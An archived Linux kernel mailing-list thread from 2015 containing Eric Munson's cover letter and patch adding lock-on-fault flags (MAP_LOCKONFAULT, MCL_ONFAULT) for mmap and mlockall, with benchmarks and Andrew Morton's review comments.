X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [RESEND PATCH V2 0/3] Allow user to request memory to be locked on page fault
Date: Wed, 10 Jun 2015 09:26:47 -0400
Lines: 160
Approved: news@gmane.org
Message-ID: <1433942810-7852-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1433942832 28948 80.91.229.3 (10 Jun 2015 13:27:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jun 2015 13:27:12 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: sparclinux-owner@vger.kernel.org Wed Jun 10 15:27:05 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1Z2g23-0004hQ-3E
	for lnx-sparclinux@plane.gmane.org; Wed, 10 Jun 2015 15:27:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964846AbbFJN1A (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 10 Jun 2015 09:27:00 -0400
Original-Received: from prod-mail-xrelay07.akamai.com ([72.246.2.115]:10212 "EHLO
	prod-mail-xrelay07.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753594AbbFJN0z (ORCPT
	<rfc822;sparclinux@vger.kernel.org>);
	Wed, 10 Jun 2015 09:26:55 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 4CAB24873B;
	Wed, 10 Jun 2015 13:26:54 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 165DB4872F;
	Wed, 10 Jun 2015 13:26:54 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.164])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 104F62026;
	Wed, 10 Jun 2015 13:26:54 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21124 gmane.linux.ports.alpha:3124 gmane.linux.kernel:1973509 gmane.linux.ports.mips.general:49066 gmane.linux.ports.parisc:25762 gmane.linux.ports.ppc64.devel:114150 gmane.linux.kernel.mm:134137 gmane.linux.kernel.cross-arch:28055 gmane.linux.kernel.api:12000
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21124>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.

This series introduces new flags for mmap() and mlockall() that allow a
user to specify that the covered are should not be paged out, but only
after the memory has been used the first time.

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

For mmap(MAP_LOCKONFAULT) the user is charged against RLIMIT_MEMLOCK
as if MAP_LOCKED was used, so when the VMA is created not when the pages
are faulted in.  For mlockall(MCL_ON_FAULT) the user is charged as if
MCL_FUTURE was used.  This decision was made to keep the accounting
checks out of the page fault path.

To illustrate the benefit of this patch I wrote a test program that
mmaps a 5 GB file filled with random data and then makes 15,000,000
accesses to random addresses in that mapping.  The test program was run
20 times for each setup.  Results are reported for two program portions,
setup and execution.  The setup phase is calling mmap and optionally
mlock on the entire region.  For most experiments this is trivial, but
it highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with MAP_LOCKED:
Setup avg:      11821.193
Processing avg: 3404.286

mmap with mlock() before each access:
Setup avg:      0.054
Processing avg: 34263.201

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.050
Processing avg: 67690.625

mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.098
Processing avg: 37344.197

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.0548
Processing avg: 29295.669

mmap with MAP_LOCKONFAULT:
Setup avg:      0.073
Processing avg: 18392.136

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise MAP_LOCKONFAULT is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of each benchmark after a warmup run whose
results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.1-rc2      4.1-rc2+lock-on-fault
Copy:    10,979.08    10,917.34
Scale:   11,094.45    11,023.01
Add:     12,487.29    12,388.65
Triad:   12,505.77    12,418.78

Kernbench optimal load
                 4.1-rc2  4.1-rc2+lock-on-fault
Elapsed Time     71.046   71.324
User Time        62.117   62.352
System Time      8.926    8.969
Context Switches 14531.9  14542.5
Sleeps           14935.9  14939

Eric B Munson (3):
  Add mmap flag to request pages are locked after page fault
  Add mlockall flag for locking pages on fault
  Add tests for lock on fault

 arch/alpha/include/uapi/asm/mman.h          |   2 +
 arch/mips/include/uapi/asm/mman.h           |   2 +
 arch/parisc/include/uapi/asm/mman.h         |   2 +
 arch/powerpc/include/uapi/asm/mman.h        |   2 +
 arch/sparc/include/uapi/asm/mman.h          |   2 +
 arch/tile/include/uapi/asm/mman.h           |   2 +
 arch/xtensa/include/uapi/asm/mman.h         |   2 +
 include/linux/mm.h                          |   1 +
 include/linux/mman.h                        |   3 +-
 include/uapi/asm-generic/mman.h             |   2 +
 mm/mlock.c                                  |  13 ++-
 mm/mmap.c                                   |   4 +-
 mm/swap.c                                   |   3 +-
 tools/testing/selftests/vm/Makefile         |   8 +-
 tools/testing/selftests/vm/lock-on-fault.c  | 145 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 +++++++++
 tools/testing/selftests/vm/run_vmtests      |  23 +++++
 17 files changed, 254 insertions(+), 9 deletions(-)
 create mode 100644 tools/testing/selftests/vm/lock-on-fault.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org

-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [RESEND PATCH V2 2/3] Add mlockall flag for locking pages on fault
Date: Wed, 10 Jun 2015 09:26:49 -0400
Lines: 187
Approved: news@gmane.org
Message-ID: <1433942810-7852-3-git-send-email-emunson@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1433942838 29019 80.91.229.3 (10 Jun 2015 13:27:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jun 2015 13:27:18 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Jun 10 15:27:05 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Z2g24-0004iJ-5V
	for glkm-linux-mm-2@m.gmane.org; Wed, 10 Jun 2015 15:27:04 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id BEDF2900017; Wed, 10 Jun 2015 09:26:59 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B9F75900015; Wed, 10 Jun 2015 09:26:59 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id A672F900016; Wed, 10 Jun 2015 09:26:59 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qc0-f169.google.com (mail-qc0-f169.google.com [209.85.216.169])
	by kanga.kvack.org (Postfix) with ESMTP id 81A71900015
	for <linux-mm@kvack.org>; Wed, 10 Jun 2015 09:26:59 -0400 (EDT)
Original-Received: by qcnj1 with SMTP id j1so17154922qcn.0
        for <linux-mm@kvack.org>; Wed, 10 Jun 2015 06:26:59 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=9hwpKVNhpIIaZSFS/mrWGOB4Y7r8wP7/QCGpfmHjpkA=;
        b=OrxfIkV9vKkdfVfIimVjptUqA7Ud8lfFZcTW4EQQXdN6dlOrJwJCaPBKtIirGnDMy4
         roB1AWVtH/GYyjTD9P9AQ5usdreTMSWx54KwO4R78KrkODTDyG7HBWQ0TDlhLI7s9+Gn
         zIp8dasF51rYl4wxaRN/7lTPIQyZZE58AN6jDTO/oHDDdHrx1a6GQVIU9pvJXJ5CHZkx
         Xzq7YdzwF8DA7HNFys7zGnb9rgFMrkty0GxGbaNvhtVLr8w1rczH1Vcl3ZSFtpsTwUwF
         GgEH+TtWEkiRuKNhs4EzUovPHSy8di/EHNhh6sxomK5aXlMRQgcapZJ0EnfoKlIrq+jT
         FeDA==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQmTaM1CZt4ybS1kWc8nlCi90+qZiMuvRPF+3xbe6kEZ+QfFo9Y+maP4QsWK35vVE6Limfi+S2+3FwkU/gKdjSmILw1GaA84GkzdaJ2mtZ82qMuGoD23CdbX6LxuBCQft9OPYO01MougOJ/MIFrCvACXYMGAPCGgsSOczfpAeQqzzmD1F4LW6gXh2YmNgjiFnd6aHWB4
X-Received: by 10.140.135.6 with SMTP id 6mr4027991qhh.101.1433942819184;
        Wed, 10 Jun 2015 06:26:59 -0700 (PDT)
X-Received: by 10.140.135.6 with SMTP id 6mr4027566qhh.101.1433942815157;
        Wed, 10 Jun 2015 06:26:55 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id 93si8613946qkz.90.2015.06.10.06.26.54
        for <linux-mm@kvack.org>;
        Wed, 10 Jun 2015 06:26:55 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 3DE9A286FA;
	Wed, 10 Jun 2015 13:26:54 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 2A8CA286ED;
	Wed, 10 Jun 2015 13:26:54 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.164])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 2547B202D;
	Wed, 10 Jun 2015 13:26:54 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1433942810-7852-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:134138 gmane.linux.ports.alpha:3125 gmane.linux.kernel:1973510 gmane.linux.ports.mips.general:49067 gmane.linux.ports.parisc:25763 gmane.linux.ports.ppc64.devel:114151 gmane.linux.ports.sparc:21125 gmane.linux.kernel.cross-arch:28056 gmane.linux.kernel.api:12001
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/134138>

Building on the previous patch, extend mlockall() to give a process a
way to specify that pages should be locked when they are faulted in, but
that pre-faulting is not needed.

MCL_ONFAULT is preferrable to MCL_FUTURE for the use cases enumerated
in the previous patch becuase MCL_FUTURE will behave as if each mapping
was made with MAP_LOCKED, causing the entire mapping to be faulted in
when new space is allocated or mapped.  MCL_ONFAULT allows the user to
delay the fault in cost of any given page until it is actually needed,
but then guarantees that that page will always be resident.

As with the mmap(MAP_LOCKONFAULT) case, the user is charged for the
mapping against the RLIMIT_MEMLOCK when the address space is allocated,
not when the page is faulted in.  This decision was made to keep the
accounting checks out of the page fault path.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/alpha/include/uapi/asm/mman.h   |  1 +
 arch/mips/include/uapi/asm/mman.h    |  1 +
 arch/parisc/include/uapi/asm/mman.h  |  1 +
 arch/powerpc/include/uapi/asm/mman.h |  1 +
 arch/sparc/include/uapi/asm/mman.h   |  1 +
 arch/tile/include/uapi/asm/mman.h    |  1 +
 arch/xtensa/include/uapi/asm/mman.h  |  1 +
 include/uapi/asm-generic/mman.h      |  1 +
 mm/mlock.c                           | 13 +++++++++----
 9 files changed, 17 insertions(+), 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 15e96e1..dfdaecf 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -38,6 +38,7 @@
 
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
+#define MCL_ONFAULT	32768		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 47846a5..f0705ff 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -62,6 +62,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 1514cd7..7c2eb85 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -32,6 +32,7 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index fce74fe..761137a 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 12425d8..dd027b8 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,6 +17,7 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index ec04eaf..0f7ae45 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -37,6 +37,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 42d43cc..10fbbb7 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -75,6 +75,7 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index fc4e586..7fb729b 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -18,5 +18,6 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index 6fd2cf1..f15547f 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -579,7 +579,7 @@ static int do_mlock(unsigned long start, size_t len, int on)
 
 		/* Here we know that  vma->vm_start <= nstart < vma->vm_end. */
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		if (on)
 			newflags |= VM_LOCKED;
 
@@ -662,13 +662,17 @@ static int do_mlockall(int flags)
 		current->mm->def_flags |= VM_LOCKED;
 	else
 		current->mm->def_flags &= ~VM_LOCKED;
-	if (flags == MCL_FUTURE)
+	if (flags & MCL_ONFAULT)
+		current->mm->def_flags |= VM_LOCKONFAULT;
+	else
+		current->mm->def_flags &= ~VM_LOCKONFAULT;
+	if (flags == MCL_FUTURE || flags == MCL_ONFAULT)
 		goto out;
 
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
 		if (flags & MCL_CURRENT)
 			newflags |= VM_LOCKED;
 
@@ -685,7 +689,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
+	    ((flags & MCL_FUTURE) && (flags & MCL_ONFAULT)))
 		goto out;
 
 	ret = -EPERM;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [RESEND PATCH V2 0/3] Allow user to request memory to be locked
 on page fault
Date: Wed, 10 Jun 2015 14:59:29 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <20150610145929.b22be8647887ea7091b09ae1@linux-foundation.org>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1433973581 20305 80.91.229.3 (10 Jun 2015 21:59:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Jun 2015 21:59:41 +0000 (UTC)
Cc: Shuah Khan <shuahkh-JPH+aEBZ4P+UEJcrhfAQsw@public.gmane.org>,
	Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>,
	Michael Kerrisk <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jun 10 23:59:34 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Z2o21-0006m5-IS
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 10 Jun 2015 23:59:33 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S932587AbbFJV7c (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Wed, 10 Jun 2015 17:59:32 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:58457 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752863AbbFJV7b (ORCPT
	<rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 10 Jun 2015 17:59:31 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.65])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 28CE4ACB;
	Wed, 10 Jun 2015 21:59:30 +0000 (UTC)
In-Reply-To: <1433942810-7852-1-git-send-email-emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:12023 gmane.linux.ports.alpha:3126 gmane.linux.kernel:1974170 gmane.linux.ports.mips.general:49077 gmane.linux.ports.parisc:25764 gmane.linux.ports.ppc64.devel:114196 gmane.linux.ports.sparc:21130 gmane.linux.kernel.mm:134159 gmane.linux.kernel.cross-arch:28066
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/12023>

On Wed, 10 Jun 2015 09:26:47 -0400 Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org> wrote:

> mlock() allows a user to control page out of program memory, but this
> comes at the cost of faulting in the entire mapping when it is

s/mapping/locked area/

> allocated.  For large mappings where the entire area is not necessary
> this is not ideal.
> 
> This series introduces new flags for mmap() and mlockall() that allow a
> user to specify that the covered are should not be paged out, but only
> after the memory has been used the first time.

The comparison with MCL_FUTURE is hiding over in the 2/3 changelog. 
It's important so let's copy it here.

: MCL_ONFAULT is preferrable to MCL_FUTURE for the use cases enumerated
: in the previous patch becuase MCL_FUTURE will behave as if each mapping
: was made with MAP_LOCKED, causing the entire mapping to be faulted in
: when new space is allocated or mapped.  MCL_ONFAULT allows the user to
: delay the fault in cost of any given page until it is actually needed,
: but then guarantees that that page will always be resident.

I *think* it all looks OK.  I'd like someone else to go over it also if
poss.


I guess the 2/3 changelog should have something like

: munlockall() will clear MCL_ONFAULT on all vma's in the process's VM.

